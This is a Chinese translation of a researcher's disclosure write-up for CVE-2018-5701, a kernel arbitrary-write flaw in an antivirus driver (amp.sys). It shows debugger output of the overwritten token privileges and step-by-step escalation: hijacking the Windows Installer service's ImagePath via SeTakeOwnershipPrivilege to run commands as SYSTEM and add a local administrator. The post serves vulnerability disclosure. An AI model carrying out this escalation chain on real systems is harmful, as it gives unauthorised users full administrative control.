Exploiting System Shield AntiVirus Arbitrary Write Vulnerability using SeTakeOwnershipPrivilege
一款名为“System Shield AntiVirus and AntiSpyware”(由Iolo Technologies开发)的杀毒软件中存在一个内核漏洞。这是一个由于输入缓冲区未经验证而导致的任意内存覆写漏洞,已被分配CVE ID:CVE-2018-5701。测试的产品版本是“System Shield AntiVirus and AntiSpyware” 5.0.0.136,存在漏洞的驱动程序“amp.sys”版本为5.4.11.1。 由于供应商在过去几周内未作出回应,我决定公开此漏洞。他们的另一款产品“System Mechanic Pro”版本15.5.0.61也受此漏洞影响,因为它与“System Shield AntiVirus and AntiSpyware”捆绑了相同版本的驱动程序。不过,网站上有一个“System Mechanic Pro”的更新下载链接,将其升级到版本17.5.0.116,其中已移除有漏洞的驱动程序。 为了实现任意写入,必须满足多个子例程中的一系列条件,主要反汇编屏幕截图如下所示。
为了利用此漏洞,我用固定值0xFFFFFFFE覆盖了_SEP_TOKEN_PRIVILEGES结构。你可以调整偏移量以获得不同数量的权限,但根据我选择的偏移量,最终结果如下:
kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002cc4a30+40
+0x000 Present : 0xfffffffe00
+0x008 Enabled : 0xfffffffe00
+0x010 EnabledByDefault : 0x800000
查看获得的权限数量,我们可以为我们的利用程序选择一些权限。
kd> !token fffff8a002cc4a30
_TOKEN fffff8a002cc4a30
TS Session ID: 0x1
User: S-1-5-21-2231847605-3015871416-1385684711-1001
Groups:
00 S-1-5-21-2231847605-3015871416-1385684711-513
Attributes - Mandatory Default Enabled
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-114
Attributes - DenyOnly
03 S-1-5-32-545
Attributes - Mandatory Default Enabled
04 S-1-5-32-544
Attributes - DenyOnly
05 S-1-5-4
Attributes - Mandatory Default Enabled
06 S-1-2-1
Attributes - Mandatory Default Enabled
07 S-1-5-11
Attributes - Mandatory Default Enabled
08 S-1-5-15
Attributes - Mandatory Default Enabled
09 S-1-5-113
Attributes - Mandatory Default Enabled
10 S-1-5-5-0-1059199
Attributes - Mandatory Default Enabled LogonId
11 S-1-2-0
Attributes - Mandatory Default Enabled
12 S-1-5-64-10
Attributes - Mandatory Default Enabled
13 S-1-16-8192
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513
Privs:
09 0x000000009 SeTakeOwnershipPrivilege Attributes - Enabled
10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled
12 0x00000000c SeSystemtimePrivilege Attributes - Enabled
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled
17 0x000000011 SeBackupPrivilege Attributes - Enabled
18 0x000000012 SeRestorePrivilege Attributes - Enabled
19 0x000000013 SeShutdownPrivilege Attributes - Enabled
20 0x000000014 SeDebugPrivilege Attributes - Enabled
21 0x000000015 SeAuditPrivilege Attributes - Enabled
22 0x000000016 SeSystemEnvironmentPrivilege Attributes - Enabled
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
24 0x000000018 SeRemoteShutdownPrivilege Attributes - Enabled
25 0x000000019 SeUndockPrivilege Attributes - Enabled
26 0x00000001a SeSyncAgentPrivilege Attributes - Enabled
27 0x00000001b SeEnableDelegationPrivilege Attributes - Enabled
28 0x00000001c SeManageVolumePrivilege Attributes - Enabled
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes - Enabled
32 0x000000020 SeRelabelPrivilege Attributes - Enabled
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled
36 0x000000024 Unknown Privilege Attributes - Enabled
37 0x000000025 Unknown Privilege Attributes - Enabled
38 0x000000026 Unknown Privilege Attributes - Enabled
39 0x000000027 Unknown Privilege Attributes - Enabled
Authentication ID: (0,1029c8)
Impersonation Level: Anonymous
TokenType: Primary
Source: User32 TokenFlags: 0x2a00 ( Token in use )
Token ID: 13d229 ParentToken ID: 1029cb
Modified ID: (0, 139e0a)
RestrictedSidCount: 0 RestrictedSids: 0000000000000000
OriginatingLogonSession: 3e7
对于利用,我决定使用“SeTakeOwnershipPrivilege”权限。我的想法是取得一个Windows服务注册表键的所有权,并具备启动它的能力。我找到的服务是“Windows Installer”服务。
因此,步骤如下:
- 获取键值
HKLM\SYSTEM\CurrentControlSet\services\msiserver的所有权 - 将“ImagePath”值更改为我们想要运行的命令或可执行文件
- 通过运行“msiexec.exe /i poc.msi /quiet”来启动服务
- 恢复所有设置
这里的poc.msi实际上并不存在,但通过启动MSI安装程序会启动服务并运行我们的命令。尝试获取交互式shell是另一回事,因为我们必须处理“Session 0 Isolation”,我还没有深入研究,因此决定使用net命令将账户添加到本地管理员组。
漏洞利用程序可以从此处下载[zip] @ParvezGHH